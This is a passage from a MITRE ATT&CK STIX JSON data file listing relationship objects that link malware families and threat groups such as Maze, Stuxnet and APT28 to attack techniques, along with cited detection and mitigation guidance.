2022)","modified":"2022-04-18T12:31:59.745Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--b350b47f-88fe-4921-8538-6d9c59bac84e","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed9bcbc-4a4b-41ae-8064-48a5c5efb34b","type":"relationship","created":"2022-03-30T14:26:51.838Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.838Z","description":"Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.","source_ref":"x-mitre-data-component--639e87f3-acb6-448a-9645-258f20da4bc5","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--1e60c0b8-854b-4d2e-a77b-ed98f3cc4e66","created":"2022-04-11T00:45:40.407Z","x_mitre_version":"0.1","external_references":[{"source_name":"ESET Hermetic Wizard March 2022","url":"https://www.welivesecurity.com/2022/03/01/isaacwiper-hermeticwizard-wiper-worm-targeting-ukraine","description":"ESET. (2022, March 1). IsaacWiper and HermeticWizard: New wiper and worm targetingUkraine. Retrieved April 10, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[HermeticWizard](https://attack.mitre.org/software/S0698) has been signed by valid certificates assigned to Hermetica Digital.(Citation: ESET Hermetic Wizard March 2022)","modified":"2022-04-11T00:45:40.407Z","relationship_type":"uses","source_ref":"malware--ff7ed9c1-dca3-4e62-9da6-72c5d388b8fa","target_ref":"attack-pattern--32901740-b42c-4fdd-bc02-345b5dc57082","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1b3f3de6-364e-443f-8b34-62073c801a5b","type":"relationship","created":"2019-01-30T18:53:05.411Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Sofacy Feb 2018","url":"https://securelist.com/a-slice-of-2017-sofacy-activity/83930/","description":"Kaspersky Lab's Global Research & Analysis Team. (2018, February 20). A Slice of 2017 Sofacy Activity. Retrieved November 27, 2018."}],"modified":"2019-09-09T17:44:35.660Z","description":"[APT28](https://attack.mitre.org/groups/G0007) has exploited Microsoft Office vulnerability CVE-2017-0262 for execution.(Citation: Securelist Sofacy Feb 2018)","relationship_type":"uses","source_ref":"intrusion-set--bef4c620-0787-42a8-a96d-b7eb6e85917c","target_ref":"attack-pattern--be2dcee9-a7a7-4e38-afd6-21b31ecc3d63","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1075f27d-8675-4819-b23b-50d390092c95","type":"relationship","created":"2020-10-09T16:24:39.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sophos Maze VM September 2020","url":"https://news.sophos.com/en-us/2020/09/17/maze-attackers-adopt-ragnar-locker-virtual-machine-technique/","description":"Brandt, A., Mackenzie, P.. (2020, September 17). Maze Attackers Adopt Ragnar Locker Virtual Machine Technique. Retrieved October 9, 2020."}],"modified":"2020-10-09T17:02:21.689Z","description":"[Maze](https://attack.mitre.org/software/S0449) has created a file named \"startup_vrun.bat\" in the Startup folder of a virtual machine to establish persistence.(Citation: Sophos Maze VM September 2020)","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--9efb1ea7-c37b-4595-9640-b7680cd84279","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2e3b8b06-5148-4313-8b1b-d75789838c84","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-31T18:59:59.381Z","relationship_type":"mitigates","source_ref":"course-of-action--d2dce10b-3562-4d61-b2f5-7c6384b038e2","target_ref":"attack-pattern--a127c32c-cbb0-4f9d-be07-881a792408ec","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--02e23a00-846a-4b86-9146-4a7354c23667","type":"relationship","created":"2019-04-12T15:55:48.135Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT38 Oct 2018","url":"https://content.fireeye.com/apt/rpt-apt38","description":"FireEye. (2018, October 03). APT38: Un-usual Suspects. Retrieved November 6, 2018."}],"modified":"2019-09-09T19:10:53.564Z","description":"[APT38](https://attack.mitre.org/groups/G0082) has used Hermes ransomware to encrypt files with AES256.(Citation: FireEye APT38 Oct 2018)","relationship_type":"uses","source_ref":"intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6f1f4c7b-dc86-44e3-9ff2-ea9451ea90ee","type":"relationship","created":"2020-03-11T21:01:01.062Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2022-03-08T19:31:22.870Z","description":"Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary malware or unusual data transfer over known tools and protocols like FTP can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. (Citation: University of Birmingham C2)","relationship_type":"mitigates","source_ref":"course-of-action--12241367-a8b7-49b4-b86e-2236901ba50c","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d9c20d20-cd4a-45cf-81a2-e9a8f6c9e78c","type":"relationship","created":"2019-06-10T17:44:49.348Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Bromium Ursnif Mar 2017","url":"https://www.bromium.com/how-ursnif-evades-detection/","description":"Holland, A. (2019, March 7). Tricks and COMfoolery: How Ursnif Evades Detection. Retrieved June 10, 2019."}],"modified":"2021-02-09T14:03:21.361Z","description":"[Ursnif](https://attack.mitre.org/software/S0386) droppers have used WMI classes to execute [PowerShell](https://attack.mitre.org/techniques/T1059/001) commands.(Citation: Bromium Ursnif Mar 2017)","relationship_type":"uses","source_ref":"malware--1492d0f8-7e14-4af3-9239-bc3fe10d3407","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--4b5bd2c6-b460-401d-8457-005add9037d9","type":"relationship","created":"2017-05-31T21:33:27.026Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-24T14:08:23.359Z","relationship_type":"mitigates","source_ref":"course-of-action--0bc3ce00-83bc-4a92-a042-79ffbc6af259","target_ref":"attack-pattern--e906ae4d-1d3a-4675-be23-22f7311c0da4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--73fa4b5d-e75f-4050-b7aa-d003b3a31bf3","type":"relationship","created":"2021-04-14T23:23:56.191Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec W.32 Stuxnet Dossier","url":"https://www.wired.com/images_blogs/threatlevel/2010/11/w32_stuxnet_dossier.pdf ","description":"Nicolas Falliere, Liam O. Murchu, Eric Chien. (2011, February). W32.Stuxnet Dossier. Retrieved December 7, 2020."}],"modified":"2021-09-13T20:27:26.797Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) encodes the payload of system information sent to the command and control servers using a one byte 0xFF XOR key. [Stuxnet](https://attack.mitre.org/software/S0603) also uses a 31-byte long static byte string to XOR data sent to command and control servers. The servers use a different static key to encrypt replies to the implant.(Citation: Symantec W.32 Stuxnet Dossier) ","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d2bc4516-c074-4d44-9931-07ab518de60a","type":"relationship","created":"2020-08-24T14:27:37.469Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET PipeMon May 2020","url":"https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/","description":"Tartare, M. et al. (2020, May 21). No “Game over” for the Winnti Group. Retrieved August 24, 2020."}],"modified":"2020-08-24T14:27:37.469Z","description":"[PipeMon](https://attack.mitre.org/software/S0501) can decrypt password-protected executables.(Citation: ESET PipeMon May 2020)","relationship_type":"uses","source_ref":"malware--8393dac0-0583-456a-9372-fd81691bca20","target_ref":"attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--78f508b9-0b72-4825-a076-9924eb9291fe","type":"relationship","created":"2021-04-06T15:53:34.940Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Intezer Doki July 20","url":"https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/","description":"Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021."}],"modified":"2021-04-09T13:34:37.721Z","description":"[Doki](https://attack.mitre.org/software/S0600) was run through a deployed container.(Citation: Intezer Doki July 20)","relationship_type":"uses","source_ref":"malware--4f1c389e-a80e-4a3e-9b0e-9be8c91df64f","target_ref":"attack-pattern--56e0d8b8-3e25-49dd-9050-3aa252f5aa92","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--30ab931e-9cc1-4e95-a3f5-364be094b54e","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT KEYMARBLE Aug 2018","description":"US-CERT. (2018, August 09). MAR-10135536-17 – North Korean Trojan: KEYMARBLE. Retrieved August 16, 2018.","url":"https://www.us-cert.gov/ncas/analysis-reports/AR18-221A"}],"modified":"2020-03-20T02:14:26.719Z","description":"[KEYMARBLE](https://attack.mitre.org/software/S0271) has a command to search for files on the victim’s machine.(Citation: US-CERT KEYMARBLE Aug 2018)","relationship_type":"uses","source_ref":"malware--11e36d5b-6a92-4bf9-8eb7-85eb24f59e22","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--81dc6d45-2afe-4646-ad04-cc40ca768f2c","created":"2022-03-30T14:26:51.848Z","x_mitre_version":"0.1","external_references":[{"source_name":"Microsoft Driver Block Rules","url":"https://docs.microsoft.com/en-us/windows/security/threat-protection/windows-defender-application-control/microsoft-recommended-driver-block-rules","description":"Microsoft. (2020, October 15). Microsoft recommended driver block rules. Retrieved March 16, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Detecting software exploitation may be difficult depending on the tools available. Software exploits may not always succeed or may cause the exploited process to become unstable or crash. Also look for behavior on the endpoint system that might indicate successful compromise, such as abnormal behavior of the processes. This could include suspicious files written to disk, evidence of [Process Injection](https://attack.mitre.org/techniques/T1055) for attempts to hide execution or evidence of Discovery. Consider monitoring for the presence or loading (ex: Sysmon Event ID 6) of known vulnerable drivers that adversaries may drop and exploit to execute code in kernel mode.(Citation: Microsoft Driver Block Rules) Higher privileges are often necessary to perform additional actions such as some methods of [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). Look for additional activity that may indicate an adversary has gained higher privileges.","modified":"2022-04-20T00:46:17.363Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"detects","source_ref":"x-mitre-data-component--3551476e-14f5-4e48-a518-e82135329e03","target_ref":"attack-pattern--b21c3b2d-02e6-45b1-980b-e69051040839","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--abe1a402-9ad5-43d0-9e5d-cabe4269fc06","type":"relationship","created":"2022-01-05T16:16:01.339Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Cisco Group 72","description":"Esler, J., Lee, M., and Williams, C.. (2014, October 14). Threat Spotlight: Group 72. Retrieved January 14, 2016.","url":"http://blogs.cisco.com/security/talos/threat-spotlight-group-72"},{"url":"http://www.novetta.com/wp-content/uploads/2014/11/Executive_Summary-Final_1.pdf","description":"Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.","source_name":"Novetta-Axiom"}],"modified":"2022-01-07T15:31:48.589Z","description":"(Citation: Cisco Group 72)(Citation: Novetta-Axiom)","relationship_type":"uses","source_ref":"intrusion-set--a0cb9370-e39b-44d5-9f50-ef78e412b973","target_ref":"malware--b42378e0-f147-496f-992a-26a49705395b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--1878edcb-e458-494c-81a5-34d8a0390957","type":"relationship","created":"2021-10-07T21:28:23.927Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"trendmicro xcsset xcode project 2020","url":"https://documents.trendmicro.com/assets/pdf/XCSSET_Technical_Brief.pdf","description":"Mac Threat Response, Mobile Research Team. (2020, August 13). The XCSSET Malware: Inserts Malicious Code Into Xcode Projects, Performs UXSS Backdoor Planting in Safari, and Leverages Two Zero-day Exploits. Retrieved October 5, 2021."}],"modified":"2021-10-19T00:43:30.256Z","description":"[XCSSET](https://attack.mitre.org/software/S0658) uses AppleScript to check the host's language and location with the command <code>user locale of (get system info)</code>.(Citation: trendmicro xcsset xcode project 2020)","relationship_type":"uses","source_ref":"malware--e14085cb-0e8d-4be6-92ba-e3b93ee5978f","target_ref":"attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--2ee79b97-c59e-40db-a5cb-6d2b2e3189a2","type":"relationship","created":"2022-03-30T14:26:51.858Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.858Z","description":"Monitor network data flows for unexpected patterns and metadata that may be indicative of a mismatch between protocol and utilized port.","source_ref":"x-mitre-data-component--a7f22107-02e5-4982-9067-6625d4a1765a","target_ref":"attack-pattern--b18eae87-b469-4e14-b454-b171b416bc18","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--9d239ea5-b191-4e30-9d0c-fd5ee69e621d","created":"2022-02-02T22:02:29.899Z","x_mitre_version":"1.0","external_references":[{"source_name":"BiZone Lizar May 2021","url":"https://bi-zone.medium.com/from-pentest-to-apt-attack-cybercriminal-group-fin7-disguises-its-malware-as-an-ethical-hackers-c23c9a75e319","description":"BI.ZONE Cyber Threats Research Team. (2021, May 13). From pentest to APT attack: cybercriminal group FIN7 disguises its malware as an ethical hacker’s toolkit. Retrieved February 2, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Lizar](https://attack.mitre.org/software/S0681) has used PowerShell scripts.(Citation: BiZone Lizar May 2021)","modified":"2022-04-05T17:19:46.651Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--f74a5069-015d-4404-83ad-5ca01056c0dc","target_ref":"attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--85485375-fa2c-4757-9ca8-a8013b2cb364","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Monitor for changes made to files that may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system.","source_ref":"x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8","target_ref":"attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--b2cf0663-fd8e-4ca5-988a-dfec3c8a33f0","type":"relationship","created":"2019-06-24T10:56:40.113Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[],"modified":"2020-01-15T18:02:50.130Z","description":"Since StartupItems are deprecated, preventing all users from writing to the <code>/Library/StartupItems</code> directory would prevent any startup items from getting registered.","relationship_type":"mitigates","source_ref":"course-of-action--987988f0-cf86-4680-a875-2f6456ab2448","target_ref":"attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--d43315b0-d708-4197-b3ed-0a0b1199e434","type":"relationship","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"CrowdStrike Putter Panda","description":"Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.","url":"http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf"}],"modified":"2020-03-16T23:58:58.750Z","description":"[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.(Citation: CrowdStrike Putter Panda)","relationship_type":"uses","source_ref":"malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a","target_ref":"attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--cbc1d2d8-aac7-498a-a034-f0a672977c11","type":"relationship","created":"2019-01-31T01:07:58.601Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf","description":"Dahan, A. (2017). Operation Cobalt Kitty. Retrieved December 27, 2018.","source_name":"Cybereason Cobalt Kitty 2017"}],"modified":"2019-07-17T13:11:38.436Z","description":"[APT32](https://attack.mitre.org/groups/G0050) used the <code>ipconfig /all</code> command to gather the IP address from the system.(Citation: Cybereason Cobalt Kitty 2017)","relationship_type":"uses","source_ref":"intrusion-set--247cb30b-955f-42eb-97a5-a89fef69341e","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--ac263a26-1773-4ac1-b81b-b29f9ace484a","type":"relationship","created":"2019-04-16T12:57:12.895Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":" Palotay, D. and Mackenzie, P. (2018, April). SamSam Ransomware Chooses Its Targets Carefully. Retrieved April 15, 2019.","url":"https://www.sophos.com/en-us/medialibrary/PDFs/technical-papers/SamSam-ransomware-chooses-Its-targets-carefully-wpna.pdf","source_name":"Sophos SamSam Apr 2018"}],"modified":"2019-04-18T20:59:57.030Z","description":"[SamSam](https://attack.mitre.org/software/S0370) encrypts victim files using RSA-2048 encryption and demands a ransom be paid in Bitcoin to decrypt those files.(Citation: Sophos SamSam Apr 2018)","relationship_type":"uses","source_ref":"malware--4d56e6e9-1a6d-46e3-896c-dfdf3cc96e62","target_ref":"attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--0c2dff3a-5de1-4a39-aad4-5db273d9fcd7","type":"relationship","created":"2022-03-30T14:26:51.849Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.849Z","description":"Monitor for creation of access tokens using SAML tokens which do not have corresponding 4769 and 1200 events in the domain.(Citation: Sygnia Golden SAML)","source_ref":"x-mitre-data-component--5f7c9def-0ddf-423b-b1f8-fb2ddeed0ce3","target_ref":"attack-pattern--94cb00a4-b295-4d06-aa2b-5653b9c1be9c","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Sygnia Golden SAML","description":"Sygnia. (2020, December). Detection and Hunting of Golden SAML Attack. Retrieved January 6, 2021.","url":"https://www.sygnia.co/golden-saml-advisory"}]},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6e4d32b9-923f-46a9-887e-4d4d0687fd1b","type":"relationship","created":"2020-05-18T17:31:39.475Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"McAfee Maze March 2020","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/ransomware-maze/","description":"Mundo, A. (2020, March 26). Ransomware Maze. Retrieved May 18, 2020."}],"modified":"2020-06-24T01:40:07.451Z","description":"[Maze](https://attack.mitre.org/software/S0449) has used several Windows API functions throughout the encryption process including IsDebuggerPresent, TerminateProcess, Process32FirstW, among others.(Citation: McAfee Maze March 2020)\t","relationship_type":"uses","source_ref":"malware--d9f7383c-95ec-4080-bbce-121c9384457b","target_ref":"attack-pattern--391d824f-0ef1-47a0-b0ee-c59a75e27670","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--99e9583f-433d-437d-bf37-7ea2b3f1b613","type":"relationship","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses","description":"Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.","source_name":"Secureworks BRONZE BUTLER Oct 2017"},{"source_name":"Trend Micro Tick November 2019","url":"https://documents.trendmicro.com/assets/pdf/Operation-ENDTRADE-TICK-s-Multi-Stage-Backdoors-for-Attacking-Industries-and-Stealing-Classified-Data.pdf","description":"Chen, J. et al. (2019, November). Operation ENDTRADE: TICK’s Multi-Stage Backdoors for Attacking Industries and Stealing Classified Data. Retrieved June 9, 2020."}],"modified":"2020-06-24T01:27:31.804Z","description":"[BRONZE BUTLER](https://attack.mitre.org/groups/G0060) has compressed data into password-protected RAR archives prior to exfiltration.(Citation: Secureworks BRONZE BUTLER Oct 2017)(Citation: Trend Micro Tick November 2019)","relationship_type":"uses","source_ref":"intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90","target_ref":"attack-pattern--00f90846-cbd1-4fc5-9233-df5c2bf2a662","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--8f8caa9d-b728-4b54-88b0-b7cd3646f437","type":"relationship","created":"2021-09-28T19:47:10.935Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky Ferocious Kitten Jun 2021","url":"https://securelist.com/ferocious-kitten-6-years-of-covert-surveillance-in-iran/102806/","description":"GReAT. (2021, June 16). Ferocious Kitten: 6 Years of Covert Surveillance in Iran. Retrieved September 22, 2021."}],"modified":"2021-10-11T17:43:50.369Z","description":"[Ferocious Kitten](https://attack.mitre.org/groups/G0137) has conducted spearphishing campaigns containing malicious documents to lure victims to open the attachments.(Citation: Kaspersky Ferocious Kitten Jun 2021)","relationship_type":"uses","source_ref":"intrusion-set--6566aac9-dad8-4332-ae73-20c23bad7f02","target_ref":"attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--746c2da0-7ee6-4dd7-90b1-23c020cdb71d","type":"relationship","created":"2021-05-05T13:55:01.285Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."}],"modified":"2021-05-05T13:55:01.285Z","description":"[LiteDuke](https://attack.mitre.org/software/S0513) can securely delete files by first writing random data to the file.(Citation: ESET Dukes October 